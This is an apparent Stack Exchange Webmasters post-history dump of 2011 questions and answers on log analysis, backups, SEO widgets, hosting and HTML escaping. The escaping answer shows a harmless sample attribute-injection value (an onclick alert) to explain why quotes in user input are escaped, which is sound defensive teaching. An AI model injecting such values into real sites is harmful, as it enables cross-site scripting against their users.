  <row Id="28243" PostHistoryTypeId="2" PostId="12367" RevisionGUID="60499d8d-cc9d-4347-b785-d83ce7b0ae76" CreationDate="2011-04-17T12:04:53.797" UserId="129" Text="The standard log analysis tool provided by my hoster shows very limited information (trying to force me to buy a full fledged analysis package). I have downloaded the log files and would like to evaluate them locally on my PC (Windows or Linux). Any tips? I could only find web-based analysis programs that run on the server." />
  <row Id="28244" PostHistoryTypeId="1" PostId="12367" RevisionGUID="60499d8d-cc9d-4347-b785-d83ce7b0ae76" CreationDate="2011-04-17T12:04:53.797" UserId="129" Text="Log File Analyser for PC" />
  <row Id="28245" PostHistoryTypeId="3" PostId="12367" RevisionGUID="60499d8d-cc9d-4347-b785-d83ce7b0ae76" CreationDate="2011-04-17T12:04:53.797" UserId="129" Text="&lt;logging&gt;" />
  <row Id="28246" PostHistoryTypeId="25" PostId="12366" RevisionGUID="e75139cd-ee8a-4b82-afda-e116a1e00d01" CreationDate="2011-04-17T12:09:17.753" Comment="http://twitter.com/#!/StackWebmasters/status/59589245731475457" />
  <row Id="28247" PostHistoryTypeId="2" PostId="12368" RevisionGUID="db78f371-11f0-4ba1-9ccd-7f77b5b29122" CreationDate="2011-04-17T13:08:31.020" UserId="6901" Text="Try the bbpress plugin. It's in development, and not yet released, but the alpha/beta version works well enough. There are still some bugs, and it is not a stable release, but with a bit of coding you could customize it to your needs.&#xD;&#xA;&#xD;&#xA;BBPress is a wordpress plugin that adds a forum to wordpress (a CMS).&#xD;&#xA;&#xD;&#xA;Download it here: http://trac.bbpress.org/browser/branches/plugin&#xD;&#xA;&#xD;&#xA;It does not have all of the features that you have described, but there are wordpress plugins that do those things (GD Star Rating, Simple Facebook Connect, etc.) that you could customize to work with bbpress (that is the coding part). Check out http://wordpress.org/extend/plugins/ to find a list of plugins that do what you described, but only for wordpress, and download them and customize them for bbpress." />
  <row Id="28249" PostHistoryTypeId="2" PostId="12370" RevisionGUID="bf651579-81ab-482d-b651-b46dc2f361df" CreationDate="2011-04-17T14:11:04.110" UserId="6901" Text="Try using this: http://perishablepress.com/press/2008/04/20/how-to-block-proxy-servers-via-htaccess/" />
  <row Id="28250" PostHistoryTypeId="25" PostId="12367" RevisionGUID="e0ab4d2e-5008-4468-b15e-407c6cb7726c" CreationDate="2011-04-17T15:09:17.733" Comment="http://twitter.com/#!/StackWebmasters/status/59634543119958016" />
  <row Id="28251" PostHistoryTypeId="5" PostId="12343" RevisionGUID="034b821d-cffd-45ff-ad09-e6848ad3a231" CreationDate="2011-04-17T15:33:29.793" UserId="6903" Comment="added 69 characters in body" Text="I don't agree with Nate. You should ideally use as little escaping as possible and use UTF-8 to express characters natively. To do this you need an editor that can handle UTF-8 as well as a correct charset declaration, such as:&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;&#xD;&#xA;&#xD;&#xA;However, you should make it a habit to escape the characters that have a special meaning in (X)HTML, namely:&#xD;&#xA;&#xD;&#xA;    &lt; &amp;lt;&#xD;&#xA;    &gt; &amp;gt;&#xD;&#xA;    &quot; &amp;quot;&#xD;&#xA;    &amp; &amp;amp;&#xD;&#xA;    ' &amp;#39;&#xD;&#xA;&#xD;&#xA;This will make sure you're not accidentally writing markup when you want to write these characters. This is especially important for user input, to maintain security. It's less obvious, but it's actually important to escape `&quot;`. If a string ever ends up in a HTML attribute (`title=&quot;something&quot;` etc.) the user could end the attribute and insert their own markup. Imagine what happens if the user enters `&quot; onclick=&quot;alert('hello');` and you insert that to `title=&quot;...&quot;`&#xD;&#xA;&#xD;&#xA;If you're using PHP, you can use the `htmlspecialchars` function to do this. Other languages may have other similar functions. &#xD;&#xA;&#xD;&#xA;**Update:** I stand corrected on the apos issue. Damned pesky IE. " />
  <row Id="28252" PostHistoryTypeId="17" PostId="12372" RevisionGUID="0e6a0381-ef28-4711-b678-443b76b7e861" CreationDate="2011-04-17T15:41:44.360" UserId="-1" Comment="from http://serverfault.com/questions/193949/traffic-drops-after-changing-to-uk-server/193951#193951" Text="" />
  <row Id="28253" PostHistoryTypeId="2" PostId="12372" RevisionGUID="4a279aaa-1c6f-45c9-9798-133c71dcfa77" CreationDate="2010-10-22T18:18:00.613" UserDisplayName="Bart Silverstrim" Text="When did you do the move? Has your DNS changed over completely? It's possible your site isn't coming up yet on all the DNS servers so your traffic is hitting a nonexistent server until everything migrates." />
  <row Id="28254" PostHistoryTypeId="2" PostId="12371" RevisionGUID="5a13d3b7-118f-4ce7-b4d8-0abbbf7f56e4" CreationDate="2010-10-22T18:07:43.373" UserDisplayName="garing1" Text="Because my website has some traffic, I moved it to other server (from US to UK). The UK server is Fasthosts.&#xD;&#xA;&#xD;&#xA;But the traffic suddenly drops:&lt;br&gt;&#xD;&#xA;&#xD;&#xA;![capture](http://img63.imageshack.us/img63/7043/graphdg.png)&#xD;&#xA;&#xD;&#xA;Lots of my traffic comes from search engines.&#xD;&#xA;&#xD;&#xA;All my websites (3 websites) hosted in this UK server get less traffic than in US. Ping from US gives great response.&#xD;&#xA;&#xD;&#xA;What happened? Does search engine prioritizing US server more than UK?" />
  <row Id="28255" PostHistoryTypeId="1" PostId="12371" RevisionGUID="5a13d3b7-118f-4ce7-b4d8-0abbbf7f56e4" CreationDate="2010-10-22T18:07:43.373" UserDisplayName="garing1" Text="Traffic drops after changing to UK server" />
  <row Id="28256" PostHistoryTypeId="3" PostId="12371" RevisionGUID="5a13d3b7-118f-4ce7-b4d8-0abbbf7f56e4" CreationDate="2010-10-22T18:07:43.373" UserDisplayName="garing1" Text="&lt;web-hosting&gt;&lt;web-traffic&gt;" />
  <row Id="28257" PostHistoryTypeId="17" PostId="12371" RevisionGUID="bfe04d9f-9cb7-4de4-8d2a-d442bb956c4f" CreationDate="2011-04-17T15:41:44.360" UserId="-1" Comment="from http://serverfault.com/questions/193949/traffic-drops-after-changing-to-uk-server" Text="" />
  <row Id="28258" PostHistoryTypeId="2" PostId="12373" RevisionGUID="fb198073-abb5-437d-b50e-2e9119b9b03a" CreationDate="2011-04-17T16:15:25.483" UserId="6919" Text="The best “Log file analyser” is yourself.  An analyzer might not see everything.  Reading the log yourself is better than using an application." />
  <row Id="28263" PostHistoryTypeId="2" PostId="12374" RevisionGUID="cb69ace9-d0ab-49e3-8136-f0450341ce76" CreationDate="2011-04-17T16:25:20.937" UserId="6919" Text="Take a look at the code you’ve provided in the answer.  I’m not sure, but it might look like this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^play-reel(.*)\$ mobile/play-reel/$1/$2 [R=302,NC] " />
  <row Id="28264" PostHistoryTypeId="2" PostId="12375" RevisionGUID="1d1f5968-9339-4069-b9fd-39eb33bfdf87" CreationDate="2011-04-17T16:31:56.817" UserId="6919" Text="AFAIK, it’s impossible.  You must write a PHP/Perl/Python/whatever script and run it on your server to get the list of files and grep through it." />
  <row Id="28265" PostHistoryTypeId="2" PostId="12376" RevisionGUID="a40ab478-7f1a-40f3-b1ad-2a28f54c101c" CreationDate="2011-04-17T16:39:28.823" UserId="879" Text="I am using Doubleclick For Publishers (small business) for serving ads on a news website. I want to server a certain ad only an article pages for a certain category. With openX I created a zone per category but I think this is very inflexible. Is it possible to parameterize a slot? Like calling `GA_googleFillSlot(SLOT_NAME, CATEGORY);` and parameterize a banner to be viewed in slot SLOT_NAME with category CATEGORY?" />
  <row Id="28266" PostHistoryTypeId="1" PostId="12376" RevisionGUID="a40ab478-7f1a-40f3-b1ad-2a28f54c101c" CreationDate="2011-04-17T16:39:28.823" UserId="879" Text="Can DFP slots be parameterized?" />
  <row Id="28267" PostHistoryTypeId="3" PostId="12376" RevisionGUID="a40ab478-7f1a-40f3-b1ad-2a28f54c101c" CreationDate="2011-04-17T16:39:28.823" UserId="879" Text="&lt;advertising&gt;&lt;doubleclick&gt;" />
  <row Id="28268" PostHistoryTypeId="5" PostId="10008" RevisionGUID="a7505811-10b3-422e-99f2-644d12d59428" CreationDate="2011-04-17T16:44:36.977" UserId="5809" Comment="added 1101 characters in body" Text="I have multiple sites in my Google Analytics, and under the content section, adsense revenue per page is only visible for one of the sites. The rest of the sites in my Google analytics do not display what page the AdSense revenue came from.&#xD;&#xA;&#xD;&#xA;Is this a known bug?  Has anyone had this?  Or do I need to configure something else?&#xD;&#xA;&#xD;&#xA;**Here is how I currently do this.**  &#xD;&#xA;&#xD;&#xA;It is constructed as part of a php string, but the idea is the same. See the first 2 lines of this function.  And the rest of the function displays traditional analytics snippet.&#xD;&#xA;&#xD;&#xA;      $str = '';&#xD;&#xA;    	if($production === true)&#xD;&#xA;    	{&#xD;&#xA;    	 	$str.= '&lt;script type=&quot;text/javascript&quot;&gt;'.&quot;\n&quot;;&#xD;&#xA;    		&#xD;&#xA;    	 	$str.= 'window.google_analytics_uacct = &quot;UA-9425856-20&quot;;'.&quot;\n&quot;;&#xD;&#xA;    &#xD;&#xA;    	  	$str.= 'var _gaq = _gaq || [];'.&quot;\n&quot;;&#xD;&#xA;    	  	$str.= '_gaq.push([&quot;_setAccount&quot;, &quot;UA-9425856-20&quot;]);'.&quot;\n&quot;;&#xD;&#xA;    	  	$str.= '_gaq.push([&quot;_trackPageview&quot;]);'.&quot;\n&quot;;&#xD;&#xA;    &#xD;&#xA;    	  	$str.= '(function() {'.&quot;\n&quot;;&#xD;&#xA;    	  	$str.= ' var ga = document.createElement(&quot;script&quot;); ga.type = &quot;text/javascript&quot;; ga.async = true;'.&quot;\n&quot;;&#xD;&#xA;    	  	$str.= ' ga.src = (&quot;https:&quot; == document.location.protocol ? &quot;https://ssl&quot; : &quot;http://www&quot;) + &quot;.google-analytics.com/ga.js&quot;;'.&quot;\n&quot;;&#xD;&#xA;    	  	$str.= ' var s = document.getElementsByTagName(&quot;script&quot;)[0]; s.parentNode.insertBefore(ga, s);'.&quot;\n&quot;;&#xD;&#xA;    	  	$str.= '})();'.&quot;\n&quot;;&#xD;&#xA;    	  &#xD;&#xA;    	  	$str.= '&lt;/script&gt;'.&quot;\n&quot;;&#xD;&#xA;    	}&#xD;&#xA;    	echo $str;" />
  <row Id="28269" PostHistoryTypeId="2" PostId="12377" RevisionGUID="95747996-cca1-4ac5-855c-70ab8656e65b" CreationDate="2011-04-17T17:00:40.890" UserId="6920" Text="So the HMTL is divided using divs obviously&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    &lt;div id=&quot;left&quot;&gt;&#xD;&#xA;    content&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;right&quot;&gt;&#xD;&#xA;    content&#xD;&#xA;    &lt;/div&gt;    &#xD;&#xA;    &lt;div id=&quot;main&quot;&gt;&#xD;&#xA;    content&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;I would like to create a layout using CSS that gives us three columns.&#xD;&#xA;&#xD;&#xA;    |      |            |      |&#xD;&#xA;    |      |            |      |&#xD;&#xA;    | left |    main    |right |&#xD;&#xA;    |      |            |      |&#xD;&#xA;    |      |            |      |&#xD;&#xA;&#xD;&#xA;The trick is that I would like the **main** part to be centred and 60% of width.&#xD;&#xA;Left and right to be 20% width.&#xD;&#xA;&#xD;&#xA;There will be no images just plain text.&#xD;&#xA;&#xD;&#xA;Thanks so much for looking at this one." />
  <row Id="28270" PostHistoryTypeId="1" PostId="12377" RevisionGUID="95747996-cca1-4ac5-855c-70ab8656e65b" CreationDate="2011-04-17T17:00:40.890" UserId="6920" Text="positioning &lt;div&gt; to create layout" />
  <row Id="28271" PostHistoryTypeId="3" PostId="12377" RevisionGUID="95747996-cca1-4ac5-855c-70ab8656e65b" CreationDate="2011-04-17T17:00:40.890" UserId="6920" Text="&lt;css&gt;" />
  <row Id="28272" PostHistoryTypeId="2" PostId="12378" RevisionGUID="b45b2b35-1574-451e-b8d6-0b96ddb7b88d" CreationDate="2011-04-17T17:41:12.217" UserId="6921" Text="http://www.statowl.com is the closest thing to a free source of this sort of information, that I've been able to find. For example, [here's a chart][1] showing the percentage of Safari users by operating system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.statowl.com/operating_system_market_share_by_os_version.php?timeframe=last_6&amp;interval=month&amp;chart_id=4&amp;limit%5B%5D=windows&amp;limit%5B%5D=mac&amp;limit%5B%5D=linux&amp;fltr_br=Safari&amp;fltr_se=&amp;fltr_cn=" />
  <row Id="28273" PostHistoryTypeId="25" PostId="12377" RevisionGUID="376a959c-59c1-46c8-847e-5c2c6240c641" CreationDate="2011-04-17T18:09:17.510" Comment="http://twitter.com/#!/StackWebmasters/status/59679840953053184" />
  <row Id="28274" PostHistoryTypeId="2" PostId="12379" RevisionGUID="c71f7954-abf1-4550-b6df-bfea24330999" CreationDate="2011-04-17T18:29:40.207" UserId="6923" Text="I'm not that great about backing up my site, which is something I want to improve on.  Currently, I save backups of my site on my local computer and on an external thumb drive. &#xD;&#xA;&#xD;&#xA;I was thinking of purchasing some online storage so I could store my website backups there instead.  I'd like to hear about what everyone here does for website backups, thanks." />
  <row Id="28275" PostHistoryTypeId="1" PostId="12379" RevisionGUID="c71f7954-abf1-4550-b6df-bfea24330999" CreationDate="2011-04-17T18:29:40.207" UserId="6923" Text="How Do You Store Website Backups?" />
  <row Id="28276" PostHistoryTypeId="3" PostId="12379" RevisionGUID="c71f7954-abf1-4550-b6df-bfea24330999" CreationDate="2011-04-17T18:29:40.207" UserId="6923" Text="&lt;security&gt;" />
  <row Id="28277" PostHistoryTypeId="16" PostId="12379" RevisionGUID="ac97c58f-03ae-4789-a520-69e08ba8d896" CreationDate="2011-04-17T18:56:42.600" UserId="1253" />
  <row Id="28278" PostHistoryTypeId="2" PostId="12380" RevisionGUID="e619a87d-ee9a-41dd-afdf-fa615522fc0f" CreationDate="2011-04-17T19:20:56.340" UserId="6853" Text="There are only small differences. VPS hosting while it can be served via a cluster is commonly found on a single &quot;beefed up&quot; server. While cloud computing is generally found run on a cluster of servers that allow for redundancy and fail over. Additionally, you will commonly find that cloud computing is using ISCSI or other form of Network Storage for its storage space, while most of the VPS hosts I see are using local storage.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.vpswebserver.com/&quot;&gt;vps hosting | vps webserver&lt;/a&gt;" />
  <row Id="28279" PostHistoryTypeId="2" PostId="12381" RevisionGUID="ef18bd32-10cc-4c70-bc42-214e86fdcc47" CreationDate="2011-04-17T19:47:46.560" UserId="5809" Text="I have developed a widget that shows a story of a hike or an outdoor outing on a google map.  Here is an example:&#xD;&#xA;&#xD;&#xA;http://www.comehike.com/outdoors/widget.php?type=hike&amp;hike_id=108&amp;width=500&amp;height=500&#xD;&#xA;&#xD;&#xA;What I am wondering is - other than asking people one by one, how do I get outdoor bloggers to use my widget on their sites?&#xD;&#xA;&#xD;&#xA;I made a page to create the widget here:&#xD;&#xA;http://www.comehike.com/outdoors/trip_story.php&#xD;&#xA;&#xD;&#xA;But it all seems clunky so far.  Any suggestions would be appreciated :)" />
  <row Id="28280" PostHistoryTypeId="1" PostId="12381" RevisionGUID="ef18bd32-10cc-4c70-bc42-214e86fdcc47" CreationDate="2011-04-17T19:47:46.560" UserId="5809" Text="How can I get bloggers to use my widget?" />
  <row Id="28281" PostHistoryTypeId="3" PostId="12381" RevisionGUID="ef18bd32-10cc-4c70-bc42-214e86fdcc47" CreationDate="2011-04-17T19:47:46.560" UserId="5809" Text="&lt;blog&gt;&lt;widgets&gt;" />
  <row Id="28282" PostHistoryTypeId="2" PostId="12382" RevisionGUID="034e354c-794c-4abc-a3d7-39e79a39840a" CreationDate="2011-04-17T19:52:52.943" UserId="6925" Text="I tar.gz my site and upload it to dropbox, thats if its under 2 GB&#xD;&#xA;&#xD;&#xA;Calum" />
  <row Id="28283" PostHistoryTypeId="2" PostId="12383" RevisionGUID="299c8cd1-dcdd-41d0-b81c-528fc60f7ee9" CreationDate="2011-04-17T20:31:44.753" UserId="6858" Text="I currently use a cronjob that exports everything in MySQL, and then rsyncs that and everything to my local machine in a Dropbox folder and an external hard drive.&#xD;&#xA;&#xD;&#xA;Also, since I use Subversion, the main code itself is backed up both on my local machine and on the SVN server.&#xD;&#xA;&#xD;&#xA;However, with so many duplicate versions of the code I would be a bit scared about actually restoring a backup, so any ideas as to how to handle that are welcome." />
  <row Id="28284" PostHistoryTypeId="2" PostId="12384" RevisionGUID="1f28db71-74a7-46a5-8f2d-17c21200cb61" CreationDate="2011-04-17T20:35:10.713" UserId="5809" Text="I made a widget that would ideally live on other sites.  Here is an example:&#xD;&#xA;http://www.comehike.com/outdoors/widget.php?type=hike&amp;hike_id=108&amp;width=500&amp;height=500&#xD;&#xA;&#xD;&#xA;I guess since the widget would link back to me, it would be an SEO boost for my site.  Is that correct?  Or would it be just an SEO boost for that particular URL?&#xD;&#xA;&#xD;&#xA;If it is just an SEO boost for the particular URL, it does me little good since that page does not link to any of my other pages.&#xD;&#xA;&#xD;&#xA;Am I thinking about this correctly?  How are these things typically handled so that there is  a benefit to my site's SEO?" />
  <row Id="28285" PostHistoryTypeId="1" PostId="12384" RevisionGUID="1f28db71-74a7-46a5-8f2d-17c21200cb61" CreationDate="2011-04-17T20:35:10.713" UserId="5809" Text="How good is it for SEO if you have a widget that lives on other sites?" />
  <row Id="28286" PostHistoryTypeId="3" PostId="12384" RevisionGUID="1f28db71-74a7-46a5-8f2d-17c21200cb61" CreationDate="2011-04-17T20:35:10.713" UserId="5809" Text="&lt;seo&gt;&lt;widgets&gt;" />
  <row Id="28287" PostHistoryTypeId="2" PostId="12385" RevisionGUID="ff760bb1-440a-498f-b5f2-c2b9a1bd1c5e" CreationDate="2011-04-17T20:47:24.550" UserId="1253" Text="That widget will do you no good as it is a frame which is not SEO friendly. So the content inside the widget is essentially invisible to the search engines. Additionally, there is no link to your website in that HTML so you're not getting any links from that widget anyway. Basically this is not how you want to make a widget.&#xD;&#xA;&#xD;&#xA;You should have that widget be powered by JavaScript and use the `&lt;noscript&gt;` tag to add alternate content that works if the JavaScript is not available for that user. In that content you should link back to your website. &#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    &lt;script src=&quot;http://example.com/widgets/widget.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;noscript&gt;&#xD;&#xA;      &lt;iframe src=&quot;http://example.com/widgets/iframe.php&quot;&gt;&lt;/iframe&gt;&#xD;&#xA;      &lt;p&gt;&lt;a href=&quot;http://example.com/&quot;&gt;This widget provided by example.com&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    &lt;/noscript&gt;" />
  <row Id="28288" PostHistoryTypeId="2" PostId="12386" RevisionGUID="ef7e3d31-0a2a-4d28-8373-8bf44fb556dc" CreationDate="2011-04-17T20:50:19.290" UserId="1253" Text="Webmasters will only add content to their website if it adds value to their users (whether it is real or just perceived is irrelevant). Your job is to explain to other website how this widget will benefit them. What will they gain by putting this widget in their blog? How should they expect their users to react? How will their users see this valuable content? If possible, show examples." />
  <row Id="28289" PostHistoryTypeId="5" PostId="12385" RevisionGUID="fa3fca89-4ad3-42ca-b134-ba142c0f3df1" CreationDate="2011-04-17T20:53:27.913" UserId="1253" Comment="added 354 characters in body" Text="That widget will do you no good as it is a frame which is not SEO friendly. So the content inside the widget is essentially invisible to the search engines. Additionally, there is no link to your website in that HTML so you're not getting any links from that widget anyway. Basically this is not how you want to make a widget.&#xD;&#xA;&#xD;&#xA;You should have that widget be powered by JavaScript and use the `&lt;noscript&gt;` tag to add alternate content that works if the JavaScript is not available for that user. In that content you should link back to your website. &#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    &lt;script src=&quot;http://example.com/widgets/widget.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;noscript&gt;&#xD;&#xA;      &lt;iframe src=&quot;http://example.com/widgets/iframe.php&quot;&gt;&#xD;&#xA;        &lt;img src=&quot;http://example.com/widgets/placeholderimg&quot; width=&quot;200&quot; height=&quot;200&quot; alt=&quot;Map Widget&quot;&gt;&#xD;&#xA;      &lt;/iframe&gt;&#xD;&#xA;      &lt;p&gt;&lt;a href=&quot;http://example.com/&quot;&gt;This widget provided by example.com&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;    &lt;/noscript&gt;&#xD;&#xA;&#xD;&#xA;That example uses graceful degradation (JavaSCript &gt; iframe &gt; image &gt; image alt text) so the content is available to everyone (good accessibility) and does not use any black hat techniques while still getting a real link to your website." />
  <row Id="28290" PostHistoryTypeId="25" PostId="12384" RevisionGUID="4966e527-40ad-43a7-b821-2d5f6cb57028" CreationDate="2011-04-17T21:09:17.613" Comment="http://twitter.com/#!/StackWebmasters/status/59725140509995008" />
  <row Id="28291" PostHistoryTypeId="5" PostId="12326" RevisionGUID="e48d7acd-7060-4e3a-97eb-8fc03aef71cd" CreationDate="2011-04-17T22:15:08.280" UserId="4461" Comment="added supporting linkage" Text="1. Linking out, unless linking to a &quot;bad neighbourhood&quot; (spam, malware etc), will **NOT** get you penalized.&#xD;&#xA;2. Only add `rel=nofollow` to links that you can't vouch for, or that are paid links.&#xD;&#xA;&#xD;&#xA;Other than that, there is nothing to worry about.&#xD;&#xA;&#xD;&#xA;*EDIT - for people who can't accept #1*&#xD;&#xA;&#xD;&#xA; - http://www.dailyblogtips.com/linking-out-google-pagerank/&#xD;&#xA; - http://www.collegefallout.com/linking-out-will-not-reduce-google-pagerank/&#xD;&#xA; - http://diovo.com/2010/02/the-flow-of-pagerank/&#xD;&#xA;&#xD;&#xA;And finally, in Matt Cutt's own statement on the matter, he specifically states that the decay is ONLY applied to OUTGOING links - not the page that is being linked FROM.&#xD;&#xA;&#xD;&#xA; - http://www.mattcutts.com/blog/pagerank-sculpting/" />
  <row Id="28292" PostHistoryTypeId="2" PostId="12387" RevisionGUID="c38ab5e4-e485-484a-80d1-cdb9e8db250b" CreationDate="2011-04-17T22:45:05.267" UserId="80" Text="There are a variety of methods and your approach will depend on the type of website you're running and what your budget looks like.  If you're working on a basic, small static site on your computer and publishing it to a server somewhere, then you already have two copies (local and the remote server) and are probably safe.  You could add a basic service like [Dropbox][1] and periodically put a copy in there to push it to another off-site location.&#xD;&#xA;&#xD;&#xA;If you're running a more complex site on a dedicated server, then I'd recommend keeping a copy of everything (including database SQL scripts) in a source control system.  Services such as [Unfuddle][2] offer free basic accounts which will give you access to source control and a basic ticketing system, among other things, which not only keeps a copy of the website in its off-site source control repository, but also tracks changes as they're checked in.  You can add to this a service such as [Tomahawk][3], which runs on the server, to keep the server's copy of the files and live data backed up regularly and automatically.&#xD;&#xA;&#xD;&#xA;For larger deployments with multiple servers, it's likely that you will have someone with more experience available who can provide guidance and the use of on-site backup tools in concert with more robust off-site backup solutions to ensure nothing is ever lost.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dropbox.com/&#xD;&#xA;  [2]: http://www.unfuddle.com/&#xD;&#xA;  [3]: http://www.tomahawkbackup.com/" />
  <row Id="28293" PostHistoryTypeId="2" PostId="12388" RevisionGUID="48a9feb1-87d5-41a9-b53d-3c5898a6db14" CreationDate="2011-04-17T22:53:10.067" UserId="80" Text="Domains are first-come first-served.  They can be revoked, however, if you're violating someone else's copyright.  Names of countries aren't trademarked so if the domain is available, then you can probably register it without any concerns.  The policies for country-code top-level domains may have specific provisions regarding geographical or political names, and even point-of-presence requirements, so check the terms of service for the top-level domain you're registering within for specific details." />
  <row Id="28295" PostHistoryTypeId="2" PostId="12389" RevisionGUID="74c798bb-dfa7-44e0-a109-a934eee3a6de" CreationDate="2011-04-18T00:05:32.403" UserId="6927" Text="I was wondering if anyone know of any CMSs that are similar to Forexpeacearmy.com ie Different categories with lists of websites in them. The ability for users to review websites.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="28296" PostHistoryTypeId="1" PostId="12389" RevisionGUID="74c798bb-dfa7-44e0-a109-a934eee3a6de" CreationDate="2011-04-18T00:05:32.403" UserId="6927" Text="Website Review CMS (similar in nature to Forexpeacearmy.com)" />
  <row Id="28297" PostHistoryTypeId="3" PostId="12389" RevisionGUID="74c798bb-dfa7-44e0-a109-a934eee3a6de" CreationDate="2011-04-18T00:05:32.403" UserId="6927" Text="&lt;cms&gt;&lt;website-review&gt;" />
  <row Id="28298" PostHistoryTypeId="25" PostId="12381" RevisionGUID="35d7cc6b-a566-42ea-88e5-d995aa714f06" CreationDate="2011-04-18T00:09:17.487" Comment="http://twitter.com/#!/StackWebmasters/status/59770437504212992" />
  <row Id="28299" PostHistoryTypeId="6" PostId="12389" RevisionGUID="b1a35893-a914-460c-bd12-01bfd5017cf6" CreationDate="2011-04-18T02:13:05.613" UserId="1253" Comment="edited tags" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;&lt;website-review&gt;" />
  <row Id="28300" PostHistoryTypeId="25" PostId="12379" RevisionGUID="e3f55fd5-f8ff-4919-8075-66996c30e9f0" CreationDate="2011-04-18T03:09:17.807" Comment="http://twitter.com/#!/StackWebmasters/status/59815737493164033" />
  <row Id="28301" PostHistoryTypeId="5" PostId="12010" RevisionGUID="7b64c151-e219-4e9c-a008-a4bfc7fb8800" CreationDate="2011-04-18T03:41:04.260" UserId="6921" Comment="Corrected spelling. Added request that resource preferably be free of charge." Text="I'm trying to determine global statistics (similar to [StatCounter][1]'s) for a combination of Browser + OS.  For example, 35% (or whatever) of users are on XP **and** IE8.  StatCounter only displays one or the other (ex. 47.32% on XP, 30.20% on IE8).&#xD;&#xA;&#xD;&#xA;Is anyone aware of a site that offers this information - preferably free of charge - or a way to glean it from StatCounter or others?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gs.statcounter.com/" />
  <row Id="28302" PostHistoryTypeId="24" PostId="12010" RevisionGUID="7b64c151-e219-4e9c-a008-a4bfc7fb8800" CreationDate="2011-04-18T03:41:04.260" Comment="Proposed by 6921 approved by 1064 edit id of 131" />
  <row Id="28303" PostHistoryTypeId="25" PostId="12389" RevisionGUID="715aa478-53c2-4eef-a102-d696e576d703" CreationDate="2011-04-18T06:09:17.880" Comment="http://twitter.com/#!/StackWebmasters/status/59861037024935936" />
  <row Id="28307" PostHistoryTypeId="2" PostId="12391" RevisionGUID="14026353-ce80-4a34-9545-0b088e36eea5" CreationDate="2011-04-18T07:03:57.110" UserId="6930" Text="Are there any hosting providers out there where you can host an ASP.NET MVC 3 Web application that uses MongoDB?&#xD;&#xA;&#xD;&#xA;I know about MongoHQ but I'd really prefer to host the code + the DB at the same provider." />
  <row Id="28308" PostHistoryTypeId="1" PostId="12391" RevisionGUID="14026353-ce80-4a34-9545-0b088e36eea5" CreationDate="2011-04-18T07:03:57.110" UserId="6930" Text="Hosting provider for both ASP.NET MVC 3 and MongoDB?" />
  <row Id="28309" PostHistoryTypeId="3" PostId="12391" RevisionGUID="14026353-ce80-4a34-9545-0b088e36eea5" CreationDate="2011-04-18T07:03:57.110" UserId="6930" Text="&lt;web-hosting&gt;" />
  <row Id="28310" PostHistoryTypeId="2" PostId="12392" RevisionGUID="c147c8a1-55d4-415b-a7d5-73f10994cfe5" CreationDate="2011-04-18T07:21:35.307" UserId="6932" Text="I've been doing web development for years, and I've always done a web structure similar to this:&#xD;&#xA;&#xD;&#xA;    public_html/login.php&#xD;&#xA;    public_html/css/login.css&#xD;&#xA;    public_html/js/login.js&#xD;&#xA;    public_html/img/logo.png&#xD;&#xA;&#xD;&#xA;I've seen other people use:&#xD;&#xA;    &#xD;&#xA;    styles/login.css&#xD;&#xA;    images/logo.png&#xD;&#xA;&#xD;&#xA;And then recently I found out that my co-worker likes:&#xD;&#xA;   &#xD;&#xA;    public_html/a/login.js   - application&#xD;&#xA;    public_html/s/login.css  - styles&#xD;&#xA;    public_html/i/logo.png   - images&#xD;&#xA;    public_html/p/photo1.jpg - photos&#xD;&#xA;    public_html/f/menu.swf   - flash&#xD;&#xA;&#xD;&#xA;Other than saving a byte or two, are there any advantages or disadvantages to any of these options?  Is there a best practice for this concept?" />
  <row Id="28311" PostHistoryTypeId="1" PostId="12392" RevisionGUID="c147c8a1-55d4-415b-a7d5-73f10994cfe5" CreationDate="2011-04-18T07:21:35.307" UserId="6932" Text="What is the optimal folder structure for a web directory?" />
  <row Id="28312" PostHistoryTypeId="3" PostId="12392" RevisionGUID="c147c8a1-55d4-415b-a7d5-73f10994cfe5" CreationDate="2011-04-18T07:21:35.307" UserId="6932" Text="&lt;css&gt;&lt;javascript&gt;&lt;best-practices&gt;" />
  <row Id="28313" PostHistoryTypeId="2" PostId="12393" RevisionGUID="c9ec88bb-c502-4d91-bb88-6e53419285e5" CreationDate="2011-04-18T07:49:37.810" UserId="6775" Text="at the moment I develop a ASP.Net Page Community board.&#xD;&#xA;I have installed FF4, IE9 and Opera 10.&#xD;&#xA;&#xD;&#xA;A friend told me, my page looks bad in IE7 and maybe IE8.&#xD;&#xA;Is there a tool how I can look the page for IE7/8, FF2/3 and maybe Opera 9?&#xD;&#xA;You know, older versions of browsers without uninstalling my browsers." />
  <row Id="28314" PostHistoryTypeId="1" PostId="12393" RevisionGUID="c9ec88bb-c502-4d91-bb88-6e53419285e5" CreationDate="2011-04-18T07:49:37.810" UserId="6775" Text="A tool for test webpages in older Browsers?" />
  <row Id="28315" PostHistoryTypeId="3" PostId="12393" RevisionGUID="c9ec88bb-c502-4d91-bb88-6e53419285e5" CreationDate="2011-04-18T07:49:37.810" UserId="6775" Text="&lt;asp.net&gt;&lt;browsers&gt;&lt;tools&gt;" />
